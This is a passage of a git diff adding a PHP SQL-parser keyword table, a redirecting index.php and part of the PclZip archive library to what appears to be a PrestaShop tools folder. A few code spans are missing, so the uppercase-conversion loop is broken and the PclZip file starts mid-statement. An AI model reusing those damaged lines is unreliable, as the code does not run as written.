'default', + 'degrees', + 'des_decrypt', + 'des_encrypt', + 'elt', + 'encode', + 'encrypt', + 'exp', + 'export_set', + 'extract', + 'field', + 'find_in_set', + 'floor', + 'format', + 'found_rows', + 'from_days', + 'from_unixtime', + 'get_format', + 'get_lock', + 'group_concat', + 'greatest', + 'hex', + 'hour', + 'if', + 'ifnull', + 'in', + 'inet_aton', + 'inet_ntoa', + 'insert', + 'instr', + 'interval', + 'is_free_lock', + 'is_used_lock', + 'last_day', + 'last_insert_id', + 'lcase', + 'least', + 'left', + 'length', + 'ln', + 'load_file', + 'localtime', + 'localtimestamp', + 'locate', + 'log', + 'log2', + 'log10', + 'lower', + 'lpad', + 'ltrim', + 'make_set', + 'makedate', + 'maketime', + 'master_pos_wait', + 'match', + 'max', + 'md5', + 'microsecond', + 'mid', + 'min', + 'minute', + 'mod', + 'month', + 'monthname', + 'nextval', + 'now', + 'nullif', + 'oct', + 'octet_length', + 'old_password', + 'ord', + 'password', + 'period_add', + 'period_diff', + 'pi', + 'position', + 'pow', + 'power', + 'quarter', + 'quote', + 'radians', + 'rand', + 'release_lock', + 'repeat', + 'replace', + 'reverse', + 'right', + 'round', + 'row_count', + 'rpad', + 'rtrim', + 'sec_to_time', + 'second', + 'session_user', + 'sha', + 'sha1', + 'sign', + 'soundex', + 'space', + 'sqrt', + 'std', + 'stddev', + 'stddev_pop', + 'stddev_samp', + 'strcmp', + 'str_to_date', + 'subdate', + 'substring', + 'substring_index', + 'subtime', + 'sum', + 'sysdate', + 'system_user', + 'tan', + 'time', + 'timediff', + 'timestamp', + 'timestampadd', + 'timestampdiff', + 'time_format', + 'time_to_sec', + 'to_days', + 'trim', + 'truncate', + 'ucase', + 'uncompress', + 'uncompressed_length', + 'unhex', + 'unix_timestamp', + 'upper', + 'user', + 'utc_date', + 'utc_time', + 'utc_timestamp', + 'uuid', + 'var_pop', + 'var_samp', + 'variance', + 'version', + 'week', + 'weekday', + 'weekofyear', + 'year', + 'yearweek'); + + /* includes functions */ + $this->reserved = array( + 'abs', + 'acos', + 'adddate', + 'addtime', + 'aes_encrypt', + 'aes_decrypt', + 'against', + 'ascii', + 'asin', + 'atan', + 'avg', + 'benchmark', + 'bin', + 'bit_and', + 'bit_or', + 'bitcount', + 'bitlength', + 'cast', + 'ceiling', + 'char', + 'char_length', + 'character_length', + 'charset', + 'coalesce', + 'coercibility', + 'collation', + 'compress', + 'concat', + 'concat_ws', + 'conection_id', + 'conv', + 'convert', + 'convert_tz', + 'cos', + 'cot', + 'count', + 'crc32', + 'curdate', + 'current_user', + 'currval', + 'curtime', + 'database', + 'date_add', + 'date_diff', + 'date_format', + 'date_sub', + 'day', + 'dayname', + 'dayofmonth', + 'dayofweek', + 'dayofyear', + 'decode', + 'default', + 'degrees', + 'des_decrypt', + 'des_encrypt', + 'elt', + 'encode', + 'encrypt', + 'exp', + 'export_set', + 'extract', + 'field', + 'find_in_set', + 'floor', + 'format', + 'found_rows', + 'from_days', + 'from_unixtime', + 'get_format', + 'get_lock', + 'group_concat', + 'greatest', + 'hex', + 'hour', + 'if', + 'ifnull', + 'in', + 'inet_aton', + 'inet_ntoa', + 'insert', + 'instr', + 'interval', + 'is_free_lock', + 'is_used_lock', + 'last_day', + 'last_insert_id', + 'lcase', + 'least', + 'left', + 'length', + 'ln', + 'load_file', + 'localtime', + 'localtimestamp', + 'locate', + 'log', + 'log2', + 'log10', + 'lower', + 'lpad', + 'ltrim', + 'make_set', + 'makedate', + 'maketime', + 'master_pos_wait', + 'match', + 'max', + 'md5', + 'microsecond', + 'mid', + 'min', + 'minute', + 'mod', + 'month', + 'monthname', + 'nextval', + 'now', + 'nullif', + 'oct', + 'octet_length', + 'old_password', + 'ord', + 'password', + 'period_add', + 'period_diff', + 'pi', + 'position', + 'pow', + 'power', + 'quarter', + 'quote', + 'radians', + 'rand', + 'release_lock', + 'repeat', + 'replace', + 'reverse', + 'right', + 'round', + 'row_count', + 'rpad', + 'rtrim', + 'sec_to_time', + 'second', + 'session_user', + 'sha', + 'sha1', + 'sign', + 'soundex', + 'space', + 'sqrt', + 'std', + 'stddev', + 'stddev_pop', + 'stddev_samp', + 'strcmp', + 'str_to_date', + 'subdate', + 'substring', + 'substring_index', + 'subtime', + 'sum', + 'sysdate', + 'system_user', + 'tan', + 'time', + 'timediff', + 'timestamp', + 'timestampadd', + 'timestampdiff', + 'time_format', + 'time_to_sec', + 'to_days', + 'trim', + 'truncate', + 'ucase', + 'uncompress', + 'uncompressed_length', + 'unhex', + 'unix_timestamp', + 'upper', + 'user', + 'utc_date', + 'utc_time', + 'utc_timestamp', + 'uuid', + 'var_pop', + 'var_samp', + 'variance', + 'version', + 'week', + 'weekday', + 'weekofyear', + 'year', + 'yearweek', + 'add', + 'all', + 'alter', + 'analyze', + 'and', + 'as', + 'asc', + 'asensitive', + 'auto_increment', + 'bdb', + 'before', + 'berkeleydb', + 'between', + 'bigint', + 'binary', + 'blob', + 'both', + 'by', + 'call', + 'cascade', + 'case', + 'change', + 'char', + 'character', + 'check', + 'collate', + 'column', + 'columns', + 'condition', + 'connection', + 'constraint', + 'continue', + 'create', + 'cross', + 'current_date', + 'current_time', + 'current_timestamp', + 'cursor', + 'database', + 'databases', + 'day_hour', + 'day_microsecond', + 'day_minute', + 'day_second', + 'dec', + 'decimal', + 'declare', + 'default', + 'delayed', + 'delete', + 'desc', + 'describe', + 'deterministic', + 'distinct', + 'distinctrow', + 'div', + 'double', + 'drop', + 'else', + 'elseif', + 'enclosed', + 'escaped', + 'exists', + 'exit', + 'explain', + 'false', + 'fetch', + 'fields', + 'float', + 'for', + 'force', + 'foreign', + 'found', + 'frac_second', + 'from', + 'fulltext', + 'grant', + 'group', + 'having', + 'high_priority', + 'hour_microsecond', + 'hour_minute', + 'hour_second', + 'if', + 'ignore', + 'in', + 'index', + 'infile', + 'inner', + 'innodb', + 'inout', + 'insensitive', + 'insert', + 'int', + 'integer', + 'interval', + 'into', + 'io_thread', + 'is', + 'iterate', + 'join', + 'key', + 'keys', + 'kill', + 'leading', + 'leave', + 'left', + 'like', + 'limit', + 'lines', + 'load', + 'localtime', + 'localtimestamp', + 'lock', + 'long', + 'longblob', + 'longtext', + 'loop', + 'low_priority', + 'master_server_id', + 'match', + 'mediumblob', + 'mediumint', + 'mediumtext', + 'middleint', + 'minute_microsecond', + 'minute_second', + 'mod', + 'natural', + 'not', + 'no_write_to_binlog', + 'null', + 'numeric', + 'on', + 'optimize', + 'option', + 'optionally', + 'or', + 'order', + 'out', + 'outer', + 'outfile', + 'precision', + 'primary', + 'privileges', + 'procedure', + 'purge', + 'read', + 'real', + 'references', + 'regexp', + 'rename', + 'repeat', + 'replace', + 'require', + 'restrict', + 'return', + 'revoke', + 'right', + 'rlike', + 'second_microsecond', + 'select', + 'sensitive', + 'separator', + 'set', + 'show', + 'smallint', + 'some', + 'soname', + 'spatial', + 'specific', + 'sql', + 'sqlexception', + 'sqlstate', + 'sqlwarning', + 'sql_big_result', + 'sql_calc_found_rows', + 'sql_small_result', + 'sql_tsi_day', + 'sql_tsi_frac_second', + 'sql_tsi_hour', + 'sql_tsi_minute', + 'sql_tsi_month', + 'sql_tsi_quarter', + 'sql_tsi_second', + 'sql_tsi_week', + 'sql_tsi_year', + 'ssl', + 'starting', + 'straight_join', + 'striped', + 'table', + 'tables', + 'terminated', + 'then', + 'timestampadd', + 'timestampdiff', + 'tinyblob', + 'tinyint', + 'tinytext', + 'to', + 'trailing', + 'true', + 'undo', + 'union', + 'unique', + 'unlock', + 'unsigned', + 'update', + 'usage', + 'use', + 'user_resources', + 'using', + 'utc_date', + 'utc_time', + 'utc_timestamp', + 'values', + 'varbinary', + 'varchar', + 'varcharacter', + 'varying', + 'when', + 'where', + 'while', + 'with', + 'write', + 'xor', + 'year_month', + 'zerofill' + ); + + for($i=0;$ireserved);++$i) { + $this->reserved[$i]=strtoupper($this->reserved[$i]); + if(!empty($this->functions[$i])) $this->functions[$i] = strtoupper($this->functions[$i]); + } + } + + } // END CLASS + define('HAVE_PHP_SQL_PARSER',1); +} + diff --git a/tools/pclzip/index.php b/tools/pclzip/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/tools/pclzip/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/tools/pclzip/pclzip.lib.php b/tools/pclzip/pclzip.lib.php new file mode 100755 index 0000000..e7facc1 --- /dev/null +++ b/tools/pclzip/pclzip.lib.php @@ -0,0 +1,5694 @@ +zipname = $p_zipname; + $this->zip_fd = 0; + $this->magic_quotes_status = -1; + + // ----- Return + return; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : + // create($p_filelist, $p_add_dir="", $p_remove_dir="") + // create($p_filelist, $p_option, $p_option_value, ...) + // Description : + // This method supports two different synopsis. The first one is historical. + // This method creates a Zip Archive. The Zip file is created in the + // filesystem. The files and directories indicated in $p_filelist + // are added in the archive. See the parameters description for the + // supported format of $p_filelist. + // When a directory is in the list, the directory and its content is added + // in the archive. + // In this synopsis, the function takes an optional variable list of + // options. See bellow the supported options. + // Parameters : + // $p_filelist : An array containing file or directory names, or + // a string containing one filename or one directory name, or + // a string containing a list of filenames and/or directory + // names separated by spaces. + // $p_add_dir : A path to add before the real path of the archived file, + // in order to have it memorized in the archive. + // $p_remove_dir : A path to remove from the real path of the file to archive, + // in order to have a shorter path memorized in the archive. + // When $p_add_dir and $p_remove_dir are set, $p_remove_dir + // is removed first, before $p_add_dir is added. + // Options : + // PCLZIP_OPT_ADD_PATH : + // PCLZIP_OPT_REMOVE_PATH : + // PCLZIP_OPT_REMOVE_ALL_PATH : + // PCLZIP_OPT_COMMENT : + // PCLZIP_CB_PRE_ADD : + // PCLZIP_CB_POST_ADD : + // Return Values : + // 0 on failure, + // The list of the added files, with a status of the add action. + // (see PclZip::listContent() for list entry format) + // -------------------------------------------------------------------------------- + function create($p_filelist) + { + $v_result=1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Set default values + $v_options = array(); + $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; + + // ----- Look for variable options arguments + $v_size = func_num_args(); + + // ----- Look for arguments + if ($v_size > 1) { + // ----- Get the arguments + $v_arg_list = func_get_args(); + + // ----- Remove from the options list the first argument + array_shift($v_arg_list); + $v_size--; + + // ----- Look for first arg + if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { + + // ----- Parse the options + $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, + array (PCLZIP_OPT_REMOVE_PATH => 'optional', + PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', + PCLZIP_OPT_ADD_PATH => 'optional', + PCLZIP_CB_PRE_ADD => 'optional', + PCLZIP_CB_POST_ADD => 'optional', + PCLZIP_OPT_NO_COMPRESSION => 'optional', + PCLZIP_OPT_COMMENT => 'optional', + PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', + PCLZIP_OPT_TEMP_FILE_ON => 'optional', + PCLZIP_OPT_TEMP_FILE_OFF => 'optional' + //, PCLZIP_OPT_CRYPT => 'optional' + )); + if ($v_result != 1) { + return 0; + } + } + + // ----- Look for 2 args + // Here we need to support the first historic synopsis of the + // method. + else { + + // ----- Get the first argument + $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0]; + + // ----- Look for the optional second argument + if ($v_size == 2) { + $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1]; + } + else if ($v_size > 2) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, + "Invalid number / type of arguments"); + return 0; + } + } + } + + // ----- Look for default option values + $this->privOptionDefaultThreshold($v_options); + + // ----- Init + $v_string_list = array(); + $v_att_list = array(); + $v_filedescr_list = array(); + $p_result_list = array(); + + // ----- Look if the $p_filelist is really an array + if (is_array($p_filelist)) { + + // ----- Look if the first element is also an array + // This will mean that this is a file description entry + if (isset($p_filelist[0]) && is_array($p_filelist[0])) { + $v_att_list = $p_filelist; + } + + // ----- The list is a list of string names + else { + $v_string_list = $p_filelist; + } + } + + // ----- Look if the $p_filelist is a string + else if (is_string($p_filelist)) { + // ----- Create a list from the string + $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist); + } + + // ----- Invalid variable type for $p_filelist + else { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist"); + return 0; + } + + // ----- Reformat the string list + if (sizeof($v_string_list) != 0) { + foreach ($v_string_list as $v_string) { + if ($v_string != '') { + $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string; + } + else { + } + } + } + + // ----- For each file in the list check the attributes + $v_supported_attributes + = array ( PCLZIP_ATT_FILE_NAME => 'mandatory' + ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional' + ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional' + ,PCLZIP_ATT_FILE_MTIME => 'optional' + ,PCLZIP_ATT_FILE_CONTENT => 'optional' + ,PCLZIP_ATT_FILE_COMMENT => 'optional' + ); + foreach ($v_att_list as $v_entry) { + $v_result = $this->privFileDescrParseAtt($v_entry, + $v_filedescr_list[], + $v_options, + $v_supported_attributes); + if ($v_result != 1) { + return 0; + } + } + + // ----- Expand the filelist (expand directories) + $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options); + if ($v_result != 1) { + return 0; + } + + // ----- Call the create fct + $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options); + if ($v_result != 1) { + return 0; + } + + // ----- Return + return $p_result_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : + // add($p_filelist, $p_add_dir="", $p_remove_dir="") + // add($p_filelist, $p_option, $p_option_value, ...) + // Description : + // This method supports two synopsis. The first one is historical. + // This methods add the list of files in an existing archive. + // If a file with the same name already exists, it is added at the end of the + // archive, the first one is still present. + // If the archive does not exist, it is created. + // Parameters : + // $p_filelist : An array containing file or directory names, or + // a string containing one filename or one directory name, or + // a string containing a list of filenames and/or directory + // names separated by spaces. + // $p_add_dir : A path to add before the real path of the archived file, + // in order to have it memorized in the archive. + // $p_remove_dir : A path to remove from the real path of the file to archive, + // in order to have a shorter path memorized in the archive. + // When $p_add_dir and $p_remove_dir are set, $p_remove_dir + // is removed first, before $p_add_dir is added. + // Options : + // PCLZIP_OPT_ADD_PATH : + // PCLZIP_OPT_REMOVE_PATH : + // PCLZIP_OPT_REMOVE_ALL_PATH : + // PCLZIP_OPT_COMMENT : + // PCLZIP_OPT_ADD_COMMENT : + // PCLZIP_OPT_PREPEND_COMMENT : + // PCLZIP_CB_PRE_ADD : + // PCLZIP_CB_POST_ADD : + // Return Values : + // 0 on failure, + // The list of the added files, with a status of the add action. + // (see PclZip::listContent() for list entry format) + // -------------------------------------------------------------------------------- + function add($p_filelist) + { + $v_result=1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Set default values + $v_options = array(); + $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; + + // ----- Look for variable options arguments + $v_size = func_num_args(); + + // ----- Look for arguments + if ($v_size > 1) { + // ----- Get the arguments + $v_arg_list = func_get_args(); + + // ----- Remove form the options list the first argument + array_shift($v_arg_list); + $v_size--; + + // ----- Look for first arg + if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { + + // ----- Parse the options + $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, + array (PCLZIP_OPT_REMOVE_PATH => 'optional', + PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', + PCLZIP_OPT_ADD_PATH => 'optional', + PCLZIP_CB_PRE_ADD => 'optional', + PCLZIP_CB_POST_ADD => 'optional', + PCLZIP_OPT_NO_COMPRESSION => 'optional', + PCLZIP_OPT_COMMENT => 'optional', + PCLZIP_OPT_ADD_COMMENT => 'optional', + PCLZIP_OPT_PREPEND_COMMENT => 'optional', + PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', + PCLZIP_OPT_TEMP_FILE_ON => 'optional', + PCLZIP_OPT_TEMP_FILE_OFF => 'optional' + //, PCLZIP_OPT_CRYPT => 'optional' + )); + if ($v_result != 1) { + return 0; + } + } + + // ----- Look for 2 args + // Here we need to support the first historic synopsis of the + // method. + else { + + // ----- Get the first argument + $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0]; + + // ----- Look for the optional second argument + if ($v_size == 2) { + $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1]; + } + else if ($v_size > 2) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); + + // ----- Return + return 0; + } + } + } + + // ----- Look for default option values + $this->privOptionDefaultThreshold($v_options); + + // ----- Init + $v_string_list = array(); + $v_att_list = array(); + $v_filedescr_list = array(); + $p_result_list = array(); + + // ----- Look if the $p_filelist is really an array + if (is_array($p_filelist)) { + + // ----- Look if the first element is also an array + // This will mean that this is a file description entry + if (isset($p_filelist[0]) && is_array($p_filelist[0])) { + $v_att_list = $p_filelist; + } + + // ----- The list is a list of string names + else { + $v_string_list = $p_filelist; + } + } + + // ----- Look if the $p_filelist is a string + else if (is_string($p_filelist)) { + // ----- Create a list from the string + $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist); + } + + // ----- Invalid variable type for $p_filelist + else { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist"); + return 0; + } + + // ----- Reformat the string list + if (sizeof($v_string_list) != 0) { + foreach ($v_string_list as $v_string) { + $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string; + } + } + + // ----- For each file in the list check the attributes + $v_supported_attributes + = array ( PCLZIP_ATT_FILE_NAME => 'mandatory' + ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional' + ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional' + ,PCLZIP_ATT_FILE_MTIME => 'optional' + ,PCLZIP_ATT_FILE_CONTENT => 'optional' + ,PCLZIP_ATT_FILE_COMMENT => 'optional' + ); + foreach ($v_att_list as $v_entry) { + $v_result = $this->privFileDescrParseAtt($v_entry, + $v_filedescr_list[], + $v_options, + $v_supported_attributes); + if ($v_result != 1) { + return 0; + } + } + + // ----- Expand the filelist (expand directories) + $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options); + if ($v_result != 1) { + return 0; + } + + // ----- Call the create fct + $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options); + if ($v_result != 1) { + return 0; + } + + // ----- Return + return $p_result_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : listContent() + // Description : + // This public method, gives the list of the files and directories, with their + // properties. + // The properties of each entries in the list are (used also in other functions) : + // filename : Name of the file. For a create or add action it is the filename + // given by the user. For an extract function it is the filename + // of the extracted file. + // stored_filename : Name of the file / directory stored in the archive. + // size : Size of the stored file. + // compressed_size : Size of the file's data compressed in the archive + // (without the headers overhead) + // mtime : Last known modification date of the file (UNIX timestamp) + // comment : Comment associated with the file + // folder : true | false + // index : index of the file in the archive + // status : status of the action (depending of the action) : + // Values are : + // ok : OK ! + // filtered : the file / dir is not extracted (filtered by user) + // already_a_directory : the file can not be extracted because a + // directory with the same name already exists + // write_protected : the file can not be extracted because a file + // with the same name already exists and is + // write protected + // newer_exist : the file was not extracted because a newer file exists + // path_creation_fail : the file is not extracted because the folder + // does not exist and can not be created + // write_error : the file was not extracted because there was a + // error while writing the file + // read_error : the file was not extracted because there was a error + // while reading the file + // invalid_header : the file was not extracted because of an archive + // format error (bad file header) + // Note that each time a method can continue operating when there + // is an action error on a file, the error is only logged in the file status. + // Return Values : + // 0 on an unrecoverable failure, + // The list of the files in the archive. + // -------------------------------------------------------------------------------- + function listContent() + { + $v_result=1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Check archive + if (!$this->privCheckFormat()) { + return(0); + } + + // ----- Call the extracting fct + $p_list = array(); + if (($v_result = $this->privList($p_list)) != 1) + { + unset($p_list); + return(0); + } + + // ----- Return + return $p_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : + // extract($p_path="./", $p_remove_path="") + // extract([$p_option, $p_option_value, ...]) + // Description : + // This method supports two synopsis. The first one is historical. + // This method extract all the files / directories from the archive to the + // folder indicated in $p_path. + // If you want to ignore the 'root' part of path of the memorized files + // you can indicate this in the optional $p_remove_path parameter. + // By default, if a newer file with the same name already exists, the + // file is not extracted. + // + // If both PCLZIP_OPT_PATH and PCLZIP_OPT_ADD_PATH aoptions + // are used, the path indicated in PCLZIP_OPT_ADD_PATH is append + // at the end of the path value of PCLZIP_OPT_PATH. + // Parameters : + // $p_path : Path where the files and directories are to be extracted + // $p_remove_path : First part ('root' part) of the memorized path + // (if any similar) to remove while extracting. + // Options : + // PCLZIP_OPT_PATH : + // PCLZIP_OPT_ADD_PATH : + // PCLZIP_OPT_REMOVE_PATH : + // PCLZIP_OPT_REMOVE_ALL_PATH : + // PCLZIP_CB_PRE_EXTRACT : + // PCLZIP_CB_POST_EXTRACT : + // Return Values : + // 0 or a negative value on failure, + // The list of the extracted files, with a status of the action. + // (see PclZip::listContent() for list entry format) + // -------------------------------------------------------------------------------- + function extract() + { + $v_result=1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Check archive + if (!$this->privCheckFormat()) { + return(0); + } + + // ----- Set default values + $v_options = array(); +// $v_path = "./"; + $v_path = ''; + $v_remove_path = ""; + $v_remove_all_path = false; + + // ----- Look for variable options arguments + $v_size = func_num_args(); + + // ----- Default values for option + $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; + + // ----- Look for arguments + if ($v_size > 0) { + // ----- Get the arguments + $v_arg_list = func_get_args(); + + // ----- Look for first arg + if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { + + // ----- Parse the options + $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, + array (PCLZIP_OPT_PATH => 'optional', + PCLZIP_OPT_REMOVE_PATH => 'optional', + PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', + PCLZIP_OPT_ADD_PATH => 'optional', + PCLZIP_CB_PRE_EXTRACT => 'optional', + PCLZIP_CB_POST_EXTRACT => 'optional', + PCLZIP_OPT_SET_CHMOD => 'optional', + PCLZIP_OPT_BY_NAME => 'optional', + PCLZIP_OPT_BY_EREG => 'optional', + PCLZIP_OPT_BY_PREG => 'optional', + PCLZIP_OPT_BY_INDEX => 'optional', + PCLZIP_OPT_EXTRACT_AS_STRING => 'optional', + PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional', + PCLZIP_OPT_REPLACE_NEWER => 'optional' + ,PCLZIP_OPT_STOP_ON_ERROR => 'optional' + ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional', + PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', + PCLZIP_OPT_TEMP_FILE_ON => 'optional', + PCLZIP_OPT_TEMP_FILE_OFF => 'optional' + )); + if ($v_result != 1) { + return 0; + } + + // ----- Set the arguments + if (isset($v_options[PCLZIP_OPT_PATH])) { + $v_path = $v_options[PCLZIP_OPT_PATH]; + } + if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) { + $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH]; + } + if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { + $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; + } + if (isset($v_options[PCLZIP_OPT_ADD_PATH])) { + // ----- Check for '/' in last path char + if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) { + $v_path .= '/'; + } + $v_path .= $v_options[PCLZIP_OPT_ADD_PATH]; + } + } + + // ----- Look for 2 args + // Here we need to support the first historic synopsis of the + // method. + else { + + // ----- Get the first argument + $v_path = $v_arg_list[0]; + + // ----- Look for the optional second argument + if ($v_size == 2) { + $v_remove_path = $v_arg_list[1]; + } + else if ($v_size > 2) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); + + // ----- Return + return 0; + } + } + } + + // ----- Look for default option values + $this->privOptionDefaultThreshold($v_options); + + // ----- Trace + + // ----- Call the extracting fct + $p_list = array(); + $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, + $v_remove_all_path, $v_options); + if ($v_result < 1) { + unset($p_list); + return(0); + } + + // ----- Return + return $p_list; + } + // -------------------------------------------------------------------------------- + + + // -------------------------------------------------------------------------------- + // Function : + // extractByIndex($p_index, $p_path="./", $p_remove_path="") + // extractByIndex($p_index, [$p_option, $p_option_value, ...]) + // Description : + // This method supports two synopsis. The first one is historical. + // This method is doing a partial extract of the archive. + // The extracted files or folders are identified by their index in the + // archive (from 0 to n). + // Note that if the index identify a folder, only the folder entry is + // extracted, not all the files included in the archive. + // Parameters : + // $p_index : A single index (integer) or a string of indexes of files to + // extract. The form of the string is "0,4-6,8-12" with only numbers + // and '-' for range or ',' to separate ranges. No spaces or ';' + // are allowed. + // $p_path : Path where the files and directories are to be extracted + // $p_remove_path : First part ('root' part) of the memorized path + // (if any similar) to remove while extracting. + // Options : + // PCLZIP_OPT_PATH : + // PCLZIP_OPT_ADD_PATH : + // PCLZIP_OPT_REMOVE_PATH : + // PCLZIP_OPT_REMOVE_ALL_PATH : + // PCLZIP_OPT_EXTRACT_AS_STRING : The files are extracted as strings and + // not as files. + // The resulting content is in a new field 'content' in the file + // structure. + // This option must be used alone (any other options are ignored). + // PCLZIP_CB_PRE_EXTRACT : + // PCLZIP_CB_POST_EXTRACT : + // Return Values : + // 0 on failure, + // The list of the extracted files, with a status of the action. + // (see PclZip::listContent() for list entry format) + // -------------------------------------------------------------------------------- + //function extractByIndex($p_index, options...) + function extractByIndex($p_index) + { + $v_result=1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Check archive + if (!$this->privCheckFormat()) { + return(0); + } + + // ----- Set default values + $v_options = array(); +// $v_path = "./"; + $v_path = ''; + $v_remove_path = ""; + $v_remove_all_path = false; + + // ----- Look for variable options arguments + $v_size = func_num_args(); + + // ----- Default values for option + $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; + + // ----- Look for arguments + if ($v_size > 1) { + // ----- Get the arguments + $v_arg_list = func_get_args(); + + // ----- Remove form the options list the first argument + array_shift($v_arg_list); + $v_size--; + + // ----- Look for first arg + if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { + + // ----- Parse the options + $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, + array (PCLZIP_OPT_PATH => 'optional', + PCLZIP_OPT_REMOVE_PATH => 'optional', + PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', + PCLZIP_OPT_EXTRACT_AS_STRING => 'optional', + PCLZIP_OPT_ADD_PATH => 'optional', + PCLZIP_CB_PRE_EXTRACT => 'optional', + PCLZIP_CB_POST_EXTRACT => 'optional', + PCLZIP_OPT_SET_CHMOD => 'optional', + PCLZIP_OPT_REPLACE_NEWER => 'optional' + ,PCLZIP_OPT_STOP_ON_ERROR => 'optional' + ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional', + PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', + PCLZIP_OPT_TEMP_FILE_ON => 'optional', + PCLZIP_OPT_TEMP_FILE_OFF => 'optional' + )); + if ($v_result != 1) { + return 0; + } + + // ----- Set the arguments + if (isset($v_options[PCLZIP_OPT_PATH])) { + $v_path = $v_options[PCLZIP_OPT_PATH]; + } + if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) { + $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH]; + } + if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { + $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; + } + if (isset($v_options[PCLZIP_OPT_ADD_PATH])) { + // ----- Check for '/' in last path char + if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) { + $v_path .= '/'; + } + $v_path .= $v_options[PCLZIP_OPT_ADD_PATH]; + } + if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) { + $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; + } + else { + } + } + + // ----- Look for 2 args + // Here we need to support the first historic synopsis of the + // method. + else { + + // ----- Get the first argument + $v_path = $v_arg_list[0]; + + // ----- Look for the optional second argument + if ($v_size == 2) { + $v_remove_path = $v_arg_list[1]; + } + else if ($v_size > 2) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); + + // ----- Return + return 0; + } + } + } + + // ----- Trace + + // ----- Trick + // Here I want to reuse extractByRule(), so I need to parse the $p_index + // with privParseOptions() + $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index); + $v_options_trick = array(); + $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick, + array (PCLZIP_OPT_BY_INDEX => 'optional' )); + if ($v_result != 1) { + return 0; + } + $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX]; 